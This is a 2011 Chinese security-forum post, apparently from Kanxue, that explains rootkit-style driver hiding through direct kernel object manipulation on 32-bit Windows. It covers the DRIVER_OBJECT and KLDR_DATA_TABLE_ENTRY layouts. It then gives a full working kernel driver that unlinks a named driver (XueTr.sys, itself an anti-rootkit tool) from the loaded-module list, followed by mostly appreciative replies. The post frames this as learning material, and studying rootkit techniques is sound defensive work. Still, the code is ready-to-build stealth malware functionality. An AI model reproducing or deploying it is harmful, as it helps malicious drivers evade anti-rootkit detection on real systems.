首页
社区
课程
招聘
[原创]DKOM隐藏驱动
发表于: 2011-6-14 15:48 28273

[原创]DKOM隐藏驱动

2011-6-14 15:48
28273
最近在学习Rootkit, 看雪Rootkit专题中没有驱动隐藏的例子http://bbs.pediy.com/showthread.php?t=56817
于是乎, 我自己来实现了一把, 特此献给看雪.

当服务控制管理器(SCM)加载一个驱动的时候, 就会生成一个DRIVER_OBJECT结构的对象.
nt!_DRIVER_OBJECT
  +0x000 Type             : Int2B
  +0x002 Size             : Int2B
  +0x004 DeviceObject     : Ptr32_DEVICE_OBJECT
  +0x008 Flags            : Uint4B
  +0x00cDriverStart      : Ptr32 Void
  +0x010 DriverSize       : Uint4B
  +0x014 DriverSection    : Ptr32Void
  +0x018 DriverExtension  : Ptr32_DRIVER_EXTENSION
  +0x01cDriverName       : _UNICODE_STRING
  +0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
  +0x028 FastIoDispatch   : Ptr32_FAST_IO_DISPATCH
  +0x02cDriverInit       : Ptr32     long
  +0x030 DriverStartIo    :Ptr32     void
  +0x034 DriverUnload     :Ptr32     void
  +0x038 MajorFunction    : [28]Ptr32     long

其中的DriverSection中保存着一个指向KLDR_DATA_TABLE_ENTRY结构体的指针.
这个结构体被用来保存驱动模块的一些信息.
在WRK中的定义如下:
typedef struct _KLDR_DATA_TABLE_ENTRY {
   LIST_ENTRY InLoadOrderLinks;
   PVOID ExceptionTable;
   ULONG ExceptionTableSize;
   PVOID GpValue;
   DWORD UnKnow;
   PVOIDDllBase;
   PVOID EntryPoint;
   ULONG SizeOfImage;
   UNICODE_STRING FullDllName;
   UNICODE_STRING BaseDllName;
   ULONG Flags;
   USHORT LoadCount;
   USHORT __Unused5;
   PVOID SectionPointer;
   ULONG CheckSum;
   PVOID LoadedImports;
   PVOID PatchInformation;
} KLDR_DATA_TABLE_ENTRY,*PKLDR_DATA_TABLE_ENTRY;

这个结构体中的第一个成员InLoadOrderLinks是一个LIST_ENTRY的结构. 这使得每个驱动模块被串在了一个双向链表中.我们只要遍历这条双向链就能枚举出所有的驱动模块.
其中域DllBase 是驱动模块的加载基地址.
FullDllName 是驱动模块的完整路径
BaseDllName 是驱动模块的名称.
遍历结果如下:


因此, 如果我们要隐藏某个驱动, 只需将我们要隐藏的驱动名跟链表中的每个节点的驱动名比较. 一旦找到我们要隐藏的驱动, 则修改它的InLoadOrderLinks域的Flink和Blink的指针即可.
图一: 修改前Flink和Blink指针的指向情况


图二:修改后Flink和Blink指针的指向情况


/*
* 【作者:莫灰灰(LSG)】
* 【空间:http://hi.baidu.com/hu3167343】
*/

#include <ntddk.h>

typedef unsigned long DWORD;

typedef struct _KLDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    PVOID ExceptionTable;
    ULONG ExceptionTableSize;
    PVOID GpValue;
    DWORD UnKnow;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    ULONG Flags;
    USHORT LoadCount;
    USHORT __Unused5;
    PVOID SectionPointer;
    ULONG CheckSum;
    PVOID LoadedImports;
    PVOID PatchInformation;
} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;

PDRIVER_OBJECT pDriverObject = NULL;

VOID
HideDriver()
{
    PKLDR_DATA_TABLE_ENTRY entry =(PKLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection;
    PKLDR_DATA_TABLE_ENTRY firstentry;
    UNICODE_STRING uniDriverName;
   
    firstentry = entry;

    // 初始化要隐藏驱动的驱动名
    RtlInitUnicodeString(&uniDriverName, L"XueTr.sys");
   
    while((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink != firstentry)
    {
        if (entry->FullDllName.Buffer != 0)
        {   
            if (RtlCompareUnicodeString(&uniDriverName, &(entry->BaseDllName), FALSE) == 0)
            {
                KdPrint(("隐藏驱动 %ws 成功!\n", entry->BaseDllName.Buffer));   
                // 修改 Flink 和 Blink 指针, 以跳过我们要隐藏的驱动
                *((DWORD*)entry->InLoadOrderLinks.Blink) = (DWORD)entry->InLoadOrderLinks.Flink;
                entry->InLoadOrderLinks.Flink->Blink = entry->InLoadOrderLinks.Blink;
               
                /*
                    使被隐藏驱动LIST_ENTRY结构体的Flink, Blink域指向自己
                    因为此节点本来在链表中, 那么它邻接的节点驱动被卸载时,
                    系统会把此节点的Flink, Blink域指向它相邻节点的下一个节点.
                    但是, 它此时已经脱离链表了, 如果现在它原本相邻的节点驱动被
                    卸载了, 那么此节点的Flink, Blink域将有可能指向无用的地址, 而
                    造成随机性的BSoD.
                */
                entry->InLoadOrderLinks.Flink = (LIST_ENTRY*)&(entry->InLoadOrderLinks.Flink);
                entry->InLoadOrderLinks.Blink = (LIST_ENTRY*)&(entry->InLoadOrderLinks.Flink);

                break;
            }
        }
        // 链表往前走
        entry = (PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink;
    }
}

NTSTATUS
UnloadDriver(
             IN PDRIVER_OBJECT DriverObject
             )
{
    return STATUS_SUCCESS;
}

NTSTATUS
DriverEntry(
            IN PDRIVER_OBJECT DriverObject,
            IN PUNICODE_STRING  RegistryPath
            )
{
    DriverObject->DriverUnload = UnloadDriver;
    pDriverObject = DriverObject;
    HideDriver();
    return STATUS_SUCCESS;
}

摘了XueTr的驱动之后, 我们用ARK工具来看一下(XueTr 和 PT都是最新版).

[课程]Linux pwn 探索篇!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (30)
雪    币: 596
活跃值: (449)
能力值: ( LV12,RANK:320 )
在线值:
发帖
回帖
粉丝
2
PsLoadedModuleList
2011-6-14 16:29
0
雪    币: 62
活跃值: (72)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
3
好文,学习之
2011-6-14 16:51
0
雪    币: 1683
活跃值: (674)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
图片是怎么弄出来的,挺好看的,支持楼主下
2011-6-14 17:10
0
雪    币: 410
活跃值: (214)
能力值: ( LV13,RANK:220 )
在线值:
发帖
回帖
粉丝
5
**,算了。我也把前不久写的一个隐藏驱动的小工具发上来吧
2011-6-14 18:09
0
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
6
绕过现代Anti-Rookit工具的内核模块扫描
http://hi.baidu.com/mj0011/blog/item/4279ecfa99f187ddb58f3177.html
2011-6-14 19:30
0
雪    币: 278
活跃值: (709)
能力值: ( LV15,RANK:520 )
在线值:
发帖
回帖
粉丝
7
顶KiDebug牛
2011-6-14 19:45
0
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
8
应该顶MJ的。。
2011-6-14 21:48
0
雪    币: 596
活跃值: (449)
能力值: ( LV12,RANK:320 )
在线值:
发帖
回帖
粉丝
9
还要顶微软
2011-6-14 22:10
0
雪    币: 2177
活跃值: (2045)
能力值: (RANK:400 )
在线值:
发帖
回帖
粉丝
10
是我用PPT画的,
2011-6-14 22:20
0
雪    币: 2177
活跃值: (2045)
能力值: (RANK:400 )
在线值:
发帖
回帖
粉丝
11
MJ的好文, 学习了, 我这只是科普.
Ki牛见笑了.
2011-6-14 22:21
0
雪    币: 2177
活跃值: (2045)
能力值: (RANK:400 )
在线值:
发帖
回帖
粉丝
12
支持大牛放血.
2011-6-14 22:22
0
雪    币: 2177
活跃值: (2045)
能力值: (RANK:400 )
在线值:
发帖
回帖
粉丝
13
惊现韬哥, 嘿嘿.
2011-6-14 22:23
0
雪    币: 278
活跃值: (709)
能力值: ( LV15,RANK:520 )
在线值:
发帖
回帖
粉丝
14
惊现KeDebug牛,嘿嘿.
2011-6-15 07:00
0
雪    币: 2177
活跃值: (2045)
能力值: (RANK:400 )
在线值:
发帖
回帖
粉丝
15
你也太早了点吧.
2011-6-15 16:58
0
雪    币: 2323
活跃值: (4113)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
16
走过,路过,不要错过~~
2011-6-15 17:38
0
雪    币: 7004
活跃值: (1035)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
学习一下!顶上!
2011-6-15 18:40
0
雪    币: 278
活跃值: (709)
能力值: ( LV15,RANK:520 )
在线值:
发帖
回帖
粉丝
18
早起晚睡,早上7:00,晚上12:00
2011-6-15 18:49
0
雪    币: 2177
活跃值: (2045)
能力值: (RANK:400 )
在线值:
发帖
回帖
粉丝
19
你又不上班, 莫非就是为了学习?
2011-6-15 20:01
0
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
很通俗易懂, 学习了, 图画的也不错.
2011-6-16 18:56
0
雪    币: 473
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
学习学习学习。。。。。。。。。。。。。
2011-6-17 11:15
0
雪    币: 201
活跃值: (68)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
很好,很强大
2011-6-17 19:11
0
雪    币: 220
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
O(∩_∩)O~ 得支持一下的
2011-6-17 19:35
0
雪    币: 205
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
思路不错 顶一个
2011-6-18 00:08
0
雪    币: 26
活跃值: (42)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
25
文章写的挺不错的, 学习了.
2011-6-18 17:33
0
游客
登录 | 注册 方可回帖
返回
//